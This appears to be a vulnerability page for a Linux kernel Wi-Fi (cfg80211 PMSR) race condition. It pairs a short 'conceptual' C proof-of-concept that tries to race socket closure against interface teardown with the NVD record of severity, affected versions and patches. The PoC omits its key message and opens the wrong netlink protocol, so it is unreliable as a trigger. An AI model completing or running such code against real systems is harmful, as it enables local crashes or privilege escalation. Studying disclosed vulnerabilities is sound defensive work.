CVE-2026-31548

/* * Conceptual PoC for CVE-2026-31548 * This code attempts to trigger the race condition between * PMSR socket closure and interface teardown. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #include <pthread.h> #define NETLINK_USER 31 void* teardown_interface(void* arg) { // Simulate the interface teardown (wdev down) // In a real exploit, this would interact with cfg80211 via ioctl or netlink sleep(1); system("ip link set wlan0 down"); return NULL; } int main() { int sock_fd; struct sockaddr_nl src_addr, dest_addr; struct nlmsghdr *nlh = NULL; pthread_t tid; // 1. Create Netlink socket sock_fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_USER); if (sock_fd < 0) return -1; memset(&src_addr, 0, sizeof(src_addr)); src_addr.nl_family = AF_NETLINK; src_addr.nl_pid = getpid(); bind(sock_fd, (struct sockaddr*)&src_addr, sizeof(src_addr)); // 2. Send a PMSR request (simplified) // Real PoC would construct a valid NL80211_CMD_PEER_MEASUREMENT_START message // ... (Message construction omitted) ... // 3. Trigger the race pthread_create(&tid, NULL, teardown_interface, NULL); // 4. Close the socket to trigger cfg80211_release_pmsr and schedule pmsr_free_wk close(sock_fd); pthread_join(tid, NULL); return 0; }

{"cve": {"id": "CVE-2026-31548", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-24T15:16:28.930", "lastModified": "2026-04-27T20:15:55.493", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: cfg80211: cancel pmsr_free_wk in cfg80211_pmsr_wdev_down\n\nWhen the nl80211 socket that originated a PMSR request is\nclosed, cfg80211_release_pmsr() sets the request's nl_portid\nto zero and schedules pmsr_free_wk to process the abort\nasynchronously. If the interface is concurrently torn down\nbefore that work runs, cfg80211_pmsr_wdev_down() calls\ncfg80211_pmsr_process_abort() directly. However, the already-\nscheduled pmsr_free_wk work item remains pending and may run\nafter the interface has been removed from the driver. This\ncould cause the driver's abort_pmsr callback to operate on a\ntorn-down interface, leading to undefined behavior and\npotential crashes.\n\nCancel pmsr_free_wk synchronously in cfg80211_pmsr_wdev_down()\nbefore calling cfg80211_pmsr_process_abort(). This ensures any\npending or in-progress work is drained before interface teardown\nproceeds, preventing the work from invoking the driver abort\ncallback after the interface is gone."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.0.1", "versionEndExcluding": "6.1.167", "matchCriteriaId": "FB7DC217-C210-4A39-8D38-FCF2DE73A855"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.130", "matchCriteriaId": "C57BB918-DF28-46B3-94F7-144176841267"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.78", "matchCriteriaId": "28D591F5-B196-4CC9-905C-DC80F116E7A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.20", "matchCriteriaId": "E5571059-6552-48E7-9BEF-3E358C387171"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.10", "matchCriteriaId": "96D34333-38BE-4414-9E79-6EB764329581"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:5.0:-:*:*:*:*:*:*", "matchCriteriaId": "1D0FE595-0CFE-4491-808B-CEF691CE7B0A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/28d3551f8d8cb3aec7497894d94150fe84d20e5e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/37e776e2e0a523731e2470dce6d563f0e8632a40", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/6dccbc9f3e1d38565dff7730d2b7d1e8b16c9b09", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/72b7ea786b8e570ae11149e9089859a4a8634a13", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/a1b7a843f12a0c3e9d3a2ca607ce451916ef42cf", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ... 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